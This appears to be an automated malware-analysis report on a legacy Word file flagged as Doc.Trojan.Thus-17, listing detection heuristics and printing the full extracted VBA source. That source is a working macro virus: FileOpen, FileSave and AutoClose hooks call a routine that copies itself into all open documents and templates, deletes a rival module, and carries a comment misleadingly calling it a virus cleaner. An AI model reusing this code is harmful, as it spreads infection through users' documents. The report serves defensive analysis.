Malware Insights
The sample is a legacy Word document containing VBA macros, specifically an Auto_Close macro and a FileOpen macro that calls a CopyMeMe subroutine. This subroutine appears to be designed to copy the macro to other open documents and templates, indicating a self-propagation mechanism. The ClamAV detection 'Doc.Trojan.Thus-17' and the presence of legacy WordBasic auto-exec markers further support its malicious nature. The primary function observed is macro propagation, suggesting it's a component of a larger attack, likely delivered via spearphishing.
Heuristics 4
-
ClamAV: Doc.Trojan.Thus-17 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Thus-17
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1715 bytes |
SHA-256: 1a0b6ca8058aa02cb32649008ba79b14c60c785edf487ef15685a8671ffed4de |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "ActiveVBModule"
'This code clears the Anti-Symer virus
Sub CopyMeMe()
On Error Resume Next
dc% = Documents.Count
thisn$ = ThisDocument.FullName
For i% = 1 To dc%
If Documents(i).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) = "'Anti-Smyser'" Then
Documents(i).VBProject.VBComponents.Item(1).CodeModule.DeleteLines (NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
End If
If Documents(i).FullName <> thisn$ Then
Application.OrganizerCopy Source:= _
thisn$, Destination:= _
Documents(i).FullName, Name:="ActiveVBModule", Object:= _
wdOrganizerObjectProjectItems
End If
Next
dc% = Templates.Count
For i% = 1 To dc%
If Templates(i).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) = "'Anti-Smyser'" Then
Templates(i).VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Templates(i).VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
Application.OrganizerCopy Source:= _
thisn$, Destination:= _
Templates(i).FullName, Name:="ActiveVBModule", Object:= _
wdOrganizerObjectProjectItems
Next
End Sub
Sub FileOpen()
On Error Resume Next
Dialogs(wdDialogFileOpen).Show
CopyMeMe
End Sub
Sub AutoClose()
On Error Resume Next
CopyMeMe
End Sub
Sub FileSave()
On Error Resume Next
CopyMeMe
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.